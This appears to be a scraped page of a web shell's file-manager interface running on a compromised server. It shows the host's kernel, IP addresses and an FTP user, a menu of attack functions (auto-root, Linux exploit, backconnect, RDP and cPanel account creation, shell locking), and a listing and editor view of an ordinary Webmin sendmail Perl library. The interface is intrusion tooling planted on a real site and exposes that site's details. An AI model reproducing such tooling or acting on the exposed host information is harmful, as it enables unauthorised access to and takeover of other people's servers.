Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.186
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
sendmail /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
4.2
KB
-rw-r--r--
access-lib.pl
6.41
KB
-rwxr-xr-x
acl_security.pl
9.7
KB
-rwxr-xr-x
aliases-lib.pl
7.93
KB
-rwxr-xr-x
autoreply.pl
12.19
KB
-rwxr-xr-x
backup_config.pl
1.48
KB
-rwxr-xr-x
boxes-lib.pl
80.12
KB
-rwxr-xr-x
build.cgi
1.84
KB
-rwxr-xr-x
cgi_args.pl
1.42
KB
-rwxr-xr-x
config-AlmaLinux-7.0-ALL
685
B
-rw-r--r--
config-Amazon-Linux-2-ALL
685
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
685
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
685
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
685
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
685
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
685
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
685
B
-rw-r--r--
config-aix
573
B
-rw-r--r--
config-cobalt-linux
669
B
-rw-r--r--
config-coherent-linux
661
B
-rw-r--r--
config-corel-linux
528
B
-rw-r--r--
config-debian-linux
607
B
-rw-r--r--
config-debian-linux-2.1-2.2
612
B
-rw-r--r--
config-debian-linux-3.0-ALL
616
B
-rw-r--r--
config-freebsd
654
B
-rw-r--r--
config-freebsd-4.0-ALL
659
B
-rw-r--r--
config-generic-linux
672
B
-rw-r--r--
config-gentoo-linux
697
B
-rw-r--r--
config-hpux
525
B
-rw-r--r--
config-irix
668
B
-rw-r--r--
config-macos
657
B
-rw-r--r--
config-macos-1.3-ALL
662
B
-rw-r--r--
config-mandrake-linux
678
B
-rw-r--r--
config-mandrake-linux-8.2
661
B
-rw-r--r--
config-mandrake-linux-9.0-ALL
678
B
-rw-r--r--
config-msc-linux
576
B
-rw-r--r--
config-netbsd
639
B
-rw-r--r--
config-open-linux
671
B
-rw-r--r--
config-open-linux-2.5
676
B
-rw-r--r--
config-open-linux-3.1e
676
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
636
B
-rw-r--r--
config-openbsd
640
B
-rw-r--r--
config-openserver
572
B
-rw-r--r--
config-osf1
538
B
-rw-r--r--
config-redhat-linux
654
B
-rw-r--r--
config-redhat-linux-10.0-23.0
685
B
-rw-r--r--
config-redhat-linux-24.0-ALL
747
B
-rw-r--r--
config-redhat-linux-7.1-7.3
656
B
-rw-r--r--
config-redhat-linux-7.4-9.0
661
B
-rw-r--r--
config-slackware-linux
523
B
-rw-r--r--
config-slackware-linux-8.0
672
B
-rw-r--r--
config-slackware-linux-8.1-ALL
699
B
-rw-r--r--
config-sol-linux
679
B
-rw-r--r--
config-solaris
641
B
-rw-r--r--
config-solaris-10-ALL
722
B
-rw-r--r--
config-solaris-7
730
B
-rw-r--r--
config-solaris-8-9
729
B
-rw-r--r--
config-suse-linux
592
B
-rw-r--r--
config-suse-linux-8.2-ALL
640
B
-rw-r--r--
config-turbo-linux
654
B
-rw-r--r--
config-united-linux
592
B
-rw-r--r--
config-unixware
566
B
-rw-r--r--
config.info
2.4
KB
-rw-r--r--
config.info.ca
2.78
KB
-rw-r--r--
config.info.cs
2.6
KB
-rw-r--r--
config.info.de
2.79
KB
-rw-r--r--
config.info.es
1.74
KB
-rw-r--r--
config.info.fr
2.42
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.nl
2.72
KB
-rw-r--r--
config.info.no
2.52
KB
-rw-r--r--
config.info.pl
1.13
KB
-rw-r--r--
config.info.pt_BR
2.85
KB
-rw-r--r--
config.info.ru
2.45
KB
-rw-r--r--
config.info.sv
1.06
KB
-rw-r--r--
config.info.tr
1.09
KB
-rw-r--r--
config.info.uk
2.48
KB
-rw-r--r--
config.info.zh
970
B
-rw-r--r--
config.info.zh_TW
1.04
KB
-rw-r--r--
create_file.cgi
1.41
KB
-rwxr-xr-x
defaultacl
286
B
-rw-r--r--
defines
3.77
KB
-rw-r--r--
del_mailq.cgi
1.31
KB
-rwxr-xr-x
del_mailqs.cgi
2.82
KB
-rwxr-xr-x
delete_access.cgi
782
B
-rwxr-xr-x
delete_aliases.cgi
800
B
-rwxr-xr-x
delete_domains.cgi
710
B
-rwxr-xr-x
delete_generics.cgi
790
B
-rwxr-xr-x
delete_mailers.cgi
713
B
-rwxr-xr-x
delete_virtusers.cgi
799
B
-rwxr-xr-x
domain-lib.pl
4.25
KB
-rwxr-xr-x
dontblames
3.34
KB
-rw-r--r--
edit_access.cgi
505
B
-rwxr-xr-x
edit_afile.cgi
1.08
KB
-rwxr-xr-x
edit_alias.cgi
470
B
-rwxr-xr-x
edit_domain.cgi
433
B
-rwxr-xr-x
edit_feature.cgi
2.98
KB
-rwxr-xr-x
edit_ffile.cgi
2.05
KB
-rwxr-xr-x
edit_file.cgi
2.26
KB
-rwxr-xr-x
edit_generic.cgi
460
B
-rwxr-xr-x
edit_mailer.cgi
435
B
-rwxr-xr-x
edit_rfile.cgi
3.05
KB
-rwxr-xr-x
edit_virtuser.cgi
473
B
-rwxr-xr-x
features-lib.pl
4.25
KB
-rwxr-xr-x
feedback_files.pl
397
B
-rwxr-xr-x
filter.pl
1.99
KB
-rwxr-xr-x
flushq.cgi
714
B
-rwxr-xr-x
generics-lib.pl
4.52
KB
-rwxr-xr-x
index.cgi
4.81
KB
-rwxr-xr-x
install_check.pl
452
B
-rwxr-xr-x
list_access.cgi
3.04
KB
-rwxr-xr-x
list_aliases.cgi
3.48
KB
-rwxr-xr-x
list_cgs.cgi
636
B
-rwxr-xr-x
list_cws.cgi
706
B
-rwxr-xr-x
list_domains.cgi
2.36
KB
-rwxr-xr-x
list_features.cgi
2.97
KB
-rwxr-xr-x
list_generics.cgi
3.83
KB
-rwxr-xr-x
list_mailers.cgi
2.66
KB
-rwxr-xr-x
list_mailq.cgi
3.54
KB
-rwxr-xr-x
list_masq.cgi
1.15
KB
-rwxr-xr-x
list_opts.cgi
4.91
KB
-rwxr-xr-x
list_ports.cgi
2.2
KB
-rwxr-xr-x
list_relay.cgi
938
B
-rwxr-xr-x
list_trusts.cgi
646
B
-rwxr-xr-x
list_us
1
B
-rw-r--r--
list_virtusers.cgi
3.75
KB
-rwxr-xr-x
log_parser.pl
1.73
KB
-rwxr-xr-x
mailers-lib.pl
5.32
KB
-rwxr-xr-x
mailq_search.cgi
996
B
-rwxr-xr-x
manual_features.cgi
398
B
-rwxr-xr-x
module.info
646
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
129
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
217
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
218
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
230
B
-rw-r--r--
module.info.ca
144
B
-rw-r--r--
module.info.ca.auto
24
B
-rw-r--r--
module.info.cs
30
B
-rw-r--r--
module.info.cs.auto
122
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
137
B
-rw-r--r--
module.info.de
130
B
-rw-r--r--
module.info.de.auto
17
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
296
B
-rw-r--r--
module.info.es
35
B
-rw-r--r--
module.info.es.auto
134
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
150
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
229
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
164
B
-rw-r--r--
module.info.fr
34
B
-rw-r--r--
module.info.fr.auto
133
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
173
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
161
B
-rw-r--r--
module.info.hu
37
B
-rw-r--r--
module.info.hu.auto
129
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
161
B
-rw-r--r--
module.info.ja
27
B
-rw-r--r--
module.info.ja.auto
143
B
-rw-r--r--
module.info.ko
24
B
-rw-r--r--
module.info.ko.auto
141
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
173
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
169
B
-rw-r--r--
module.info.ms
127
B
-rw-r--r--
module.info.ms.auto
21
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
142
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.auto
108
B
-rw-r--r--
module.info.no
31
B
-rw-r--r--
module.info.no.auto
113
B
-rw-r--r--
module.info.pl
31
B
-rw-r--r--
module.info.pl.auto
122
B
-rw-r--r--
module.info.pt
35
B
-rw-r--r--
module.info.pt.auto
122
B
-rw-r--r--
module.info.pt_BR
39
B
-rw-r--r--
module.info.pt_BR.auto
128
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
144
B
-rw-r--r--
module.info.ru
42
B
-rw-r--r--
module.info.ru.auto
214
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
146
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
153
B
-rw-r--r--
module.info.sv
32
B
-rw-r--r--
module.info.sv.auto
104
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
294
B
-rw-r--r--
module.info.tr
35
B
-rw-r--r--
module.info.tr.auto
131
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
228
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
233
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
156
B
-rw-r--r--
module.info.zh
24
B
-rw-r--r--
module.info.zh.auto
93
B
-rw-r--r--
module.info.zh_TW
27
B
-rw-r--r--
module.info.zh_TW.auto
99
B
-rw-r--r--
move.cgi
559
B
-rwxr-xr-x
negativeacl
8
B
-rw-r--r--
prefs.info
147
B
-rw-r--r--
qdetach.cgi
1.05
KB
-rwxr-xr-x
rbac-mapping
186
B
-rw-r--r--
save_access.cgi
1.98
KB
-rwxr-xr-x
save_afile.cgi
580
B
-rwxr-xr-x
save_alias.cgi
4.12
KB
-rwxr-xr-x
save_cgs.cgi
640
B
-rwxr-xr-x
save_cws.cgi
678
B
-rwxr-xr-x
save_domain.cgi
1.37
KB
-rwxr-xr-x
save_feature.cgi
2.32
KB
-rwxr-xr-x
save_ffile.cgi
860
B
-rwxr-xr-x
save_file.cgi
3.02
KB
-rwxr-xr-x
save_generic.cgi
1.57
KB
-rwxr-xr-x
save_mailer.cgi
1.83
KB
-rwxr-xr-x
save_masq.cgi
1.2
KB
-rwxr-xr-x
save_opts.cgi
3.29
KB
-rwxr-xr-x
save_ports.cgi
2.47
KB
-rwxr-xr-x
save_relay.cgi
710
B
-rwxr-xr-x
save_rfile.cgi
1.25
KB
-rwxr-xr-x
save_trusts.cgi
589
B
-rwxr-xr-x
save_virtuser.cgi
2.81
KB
-rwxr-xr-x
sendmail-lib.pl
17.76
KB
-rwxr-xr-x
start.cgi
248
B
-rwxr-xr-x
stop.cgi
276
B
-rwxr-xr-x
useradmin_update.pl
1.43
KB
-rwxr-xr-x
view_mailq.cgi
3.91
KB
-rwxr-xr-x
virtusers-lib.pl
6.22
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : access-lib.pl
# access-lib.pl # Functions for the access_db table # access_dbm(&config) # Returns the filename and type of the access database, or undef if none sub access_dbm { foreach $f (&find_type("K", $_[0])) { if ($f->{'value'} =~ /^access\s+(\S+)[^\/]+(\S+)$/) { return ($2, $1); } } return undef; } # access_file(&config) # Returns the filename of the text access file, or undef if none sub access_file { return &find_textfile($config{'access_file'}, &access_dbm($_[0])); } # list_access(textfile) sub list_access { if (!scalar(@list_access_cache)) { @list_access_cache = ( ); local $lnum = 0; open(ACC, "<".$_[0]); while(<ACC>) { s/\r|\n//g; # remove newlines if (/^\s*#+\s*(.*)/) { # A comment line $cmt = &is_table_comment($_); } elsif (/^(\S+)\s+(.*)/) { local(%acc); $acc{'from'} = $1; $acc{'action'} = $2; $acc{'line'} = $cmt ? $lnum-1 : $lnum; $acc{'eline'} = $lnum; $acc{'num'} = scalar(@list_access_cache); if ($acc{'from'} =~ /^(Connect|From|To):(.*)/i) { $acc{'tag'} = $1; $acc{'from'} = $2; } $acc{'cmt'} = $cmt; push(@list_access_cache, \%acc); $cmt = undef; } else { $cmt = undef; } $lnum++; } close(ACC); } return @list_access_cache; } # create_access(&details, textfile, dbmfile, dbmtype) # Create a new access database entry sub create_access { &list_access($_[1]); # force cache init local(%acc); # Write to the file local $lref = &read_file_lines($_[1]); $_[0]->{'line'} = scalar(@$lref); push(@$lref, &make_table_comment($_[0]->{'cmt'})); local $from = $_[0]->{'tag'} ? "$_[0]->{'tag'}:$_[0]->{'from'}" : $_[0]->{'from'}; push(@$lref, "$from\t$_[0]->{'action'}"); $_[0]->{'eline'} = scalar(@$lref)-1; &flush_file_lines($_[1]); # Add to DBM if (!&rebuild_map_cmd($_[1])) { if ($_[3] eq "dbm") { dbmopen(%acc, $_[2], 0644); $acc{$from} = $_[0]->{'action'}; dbmclose(%acc); } else { &run_makemap($_[1], $_[2], $_[3]); } } # Add to cache $_[0]->{'num'} = scalar(@list_access_cache); $_[0]->{'file'} = $_[1]; push(@list_access_cache, $_[0]); } # delete_access(&details, textfile, dbmfile, dbmtype) # Delete an existing access entry sub delete_access { local(%acc); # Delete form file local $lref = &read_file_lines($_[1]); local $len = $_[0]->{'eline'} - $_[0]->{'line'} + 1; splice(@$lref, $_[0]->{'line'}, $len); &flush_file_lines($_[1]); # Delete from DBM local $oldfrom = $_[0]->{'tag'} ? "$_[0]->{'tag'}:$_[0]->{'from'}" : $_[0]->{'from'}; if (!&rebuild_map_cmd($_[1])) { if ($_[3] eq "dbm") { dbmopen(%acc, $_[2], 0644); delete($acc{$oldfrom}); dbmclose(%acc); } else { &run_makemap($_[1], $_[2], $_[3]); } } # Delete from cache local $idx = &indexof($_[0], @list_access_cache); splice(@list_access_cache, $idx, 1) if ($idx != -1); &renumber_list(\@list_access_cache, $_[0], -$len); } # modify_access(&old, &details, textfile, dbmfile, dbmtype) # Change an existing access entry sub modify_access { local %acc; local $oldfrom = $_[0]->{'tag'} ? "$_[0]->{'tag'}:$_[0]->{'from'}" : $_[0]->{'from'}; local $from = $_[1]->{'tag'} ? "$_[1]->{'tag'}:$_[1]->{'from'}" : $_[1]->{'from'}; # Update in file local $lref = &read_file_lines($_[2]); local $oldlen = $_[0]->{'eline'} - $_[0]->{'line'} + 1; local @newlines; push(@newlines, &make_table_comment($_[1]->{'cmt'})); push(@newlines, "$from\t$_[1]->{'action'}"); splice(@$lref, $_[0]->{'line'}, $oldlen, @newlines); &flush_file_lines($_[2]); # Update DBM if (!&rebuild_map_cmd($_[2])) { if ($_[4] eq "dbm") { dbmopen(%virt, $_[3], 0644); delete($virt{$oldfrom}); $virt{$from} = $_[1]->{'action'}; dbmclose(%virt); } else { &run_makemap($_[2], $_[3], $_[4]); } } # Update cache local $idx = &indexof($_[0], @list_generics_cache); $_[1]->{'line'} = $_[0]->{'line'}; $_[1]->{'eline'} = $_[1]->{'cmt'} ? $_[0]->{'line'}+1 : $_[0]->{'line'}; $list_generics_cache[$idx] = $_[1] if ($idx != -1); &renumber_list(\@list_generics_cache, $_[0], scalar(@newlines)-$oldlen); } # access_form([&details]) sub access_form { local ($v) = @_; local ($mode, $addr); print &ui_form_start("save_access.cgi", "post"); if ($v) { print &ui_hidden("num", $v->{'num'}),"\n"; } else { print &ui_hidden("new", 1),"\n"; } print &ui_table_start($v ? $text{'sform_edit'} : $text{'sform_create'}, undef, 2); # Comment print &ui_table_row($text{'vform_cmt'}, &ui_textbox("cmt", $v->{'cmt'}, 50)); # Mail source local $src = $v->{'from'} =~ /^\S+\@\S+$/ ? 0 : $v->{'from'} =~ /^[0-9\.]+$/ ? 1 : $v->{'from'} =~ /^\S+\@$/ ? 2 : $v->{'from'} =~ /^[A-z0-9\-\.]+$/ ? 3 : 0; print &ui_table_row($text{'sform_source'}, &ui_select("from_type", $src, [ map { [ $_, $text{"sform_type$_"} ] } (0 .. 3) ])."\n". &ui_textbox("from", $v->{'from'}, 25)); # Match against tag local $ver = &get_sendmail_version(); if ($v->{'tag'} || $ver >= 8.10) { print &ui_table_row($text{'sform_tag'}, &ui_select("tag", $v->{'tag'}, [ [ "", $text{'sform_tag_'} ], [ "From", $text{'sform_tag_from'} ], [ "To", $text{'sform_tag_to'} ], [ "Connect", $text{'sform_tag_connect'} ], [ "Spam", $text{'sform_tag_spam'} ] ])); } # Action local $atable = "<table>\n"; $atable .= "<tr>"; $atable .= "<td>".&ui_oneradio("action", "OK", $text{'sform_ok'}, $v->{'action'} eq "OK" || !$v->{'action'})."</td>\n"; $atable .= "<td>".&ui_oneradio("action", "RELAY", $text{'sform_relay'}, $v->{'action'} eq "RELAY")."</td>\n"; $atable .= "</tr>"; $atable .= "<tr>"; $atable .= "<td>".&ui_oneradio("action", "REJECT", $text{'sform_reject'}, $v->{'action'} eq "REJECT")."</td>\n"; $atable .= "<td>".&ui_oneradio("action", "DISCARD", $text{'sform_discard'}, $v->{'action'} eq "DISCARD")."</td>\n"; $atable .= "</tr>"; $atable .= "<tr>"; local ($err, $msg) = $v->{'action'} =~ /(\d+)\s*(.*)$/ ? ($1, $2) : ( ); $atable .= "<td colspan=2>".&ui_oneradio("action", 0, $text{'sform_err'}, $err)."\n"; $atable .= &ui_textbox("err", $err, 4)." ".$text{'sform_msg'}."\n"; $atable .= &ui_textbox("msg", $msg, 20)."</td>\n"; $atable .= "</tr>"; $atable .= "</table>\n"; print &ui_table_row($text{'sform_action'}, $atable); print &ui_table_end(); print &ui_form_end($_[0] ? [ [ "save", $text{'save'} ], [ "delete", $text{'delete'} ] ] : [ [ "create", $text{'create'} ] ]); } sub can_edit_access { local ($g) = @_; return $access{'smode'} == 1 || $access{'smode'} == 2 && $g->{'from'} =~ /$access{'saddrs'}/; } 1;
Close